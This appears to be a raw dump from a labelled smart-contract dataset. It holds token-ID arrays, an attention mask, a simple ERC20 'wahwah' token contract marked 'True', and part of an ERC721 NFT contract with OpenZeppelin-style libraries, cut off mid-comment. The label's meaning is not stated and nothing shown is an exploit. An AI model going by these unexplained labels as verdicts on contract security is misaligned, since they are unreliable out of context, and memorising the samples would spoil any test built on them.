16475, 10651, 1996, 3477, 5833, 4769, 1012, 1013, 1013, 1030, 3166, 4775, 21583, 3853, 10651, 4502, 29337, 17713, 16200, 4757, 1006, 4769, 3477, 5833, 4215, 16200, 4757, 1007, 2270, 2069, 4215, 10020, 1063, 1035, 3477, 5833, 4215, 16200, 4757, 1027, 3477, 5833, 4215, 16200, 4757, 1025, 1065, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 10632, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 1030, 16475, 10632, 1996, 5703, 1997, 1996, 3206, 1012, 1013, 1013, 1030, 3166, 4775, 21583, 3853, 10632, 1006, 1007, 2270, 2069, 4215, 10020, 1063, 21318, 3372, 17788, 2575, 3815, 1027, 4769, 1006, 2023, 1007, 1012, 5703, 1025, 5478, 1006, 3815, 1028, 1014, 1010, 1000, 3206, 5703, 4064, 1012, 1000, 1007, 1025, 1006, 22017, 2140, 3112, 1010, 1007, 1027, 3477, 3085, 1006, 5796, 2290, 1012, 4604, 2121, 1007, 1012, 2655, 1063, 3643, 1024, 3815, 1065, 1006, 1000, 1000, 1007, 1025, 5478, 1006, 3112, 1010, 1000, 4651, 3478, 1012, 1000, 1007, 1025, 1065, 1065, 102, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 ]
/** Submitted for verification at Etherscan.io on 2021-03-19 / pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract wahwah is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "wahwah"; symbol = "wah"; decimals = 18; _totalSupply = 9000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6021, 1011, 2539, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 9413, 2278, 19204, 3115, 1001, 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/** Submitted for verification at Etherscan.io on 2022-02-03 / // IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // ERC165.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // IERC721.sol pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // IERC721Metadata.sol pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // IERC721Receiver.sol pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // IERC721Enumerable.sol pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // ERC721S.sol pragma solidity ^0.8.10; abstract contract ERC721S is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count = 0; uint length = _owners.length; for( uint i = 0; i < length; ++i ){ if( owner == _owners[i] ){ ++count; } } delete length; return count; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721S.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721S.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721S.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721S.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721S.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /* * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Address.sol pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // ERC721Enum.sol pragma solidity ^0.8.10; abstract contract ERC721Enum is ERC721S, IERC721Enumerable { function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721S) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) { require(index < ERC721S.balanceOf(owner), "ERC721Enum: owner ioob"); uint count; for( uint i; i < _owners.length; ++i ){ if( owner == _owners[i] ){ if( count == index ) return i; else ++count; } } require(false, "ERC721Enum: owner ioob"); } function tokensOfOwner(address owner) public view returns (uint256[] memory) { require(0 < ERC721S.balanceOf(owner), "ERC721Enum: owner ioob"); uint256 tokenCount = balanceOf(owner); uint256[] memory tokenIds = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(owner, i); } return tokenIds; } function totalSupply() public view virtual override returns (uint256) { return _owners.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob"); return index; } } // ReentrancyGuard.sol pragma solidity ^0.8.0; /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // 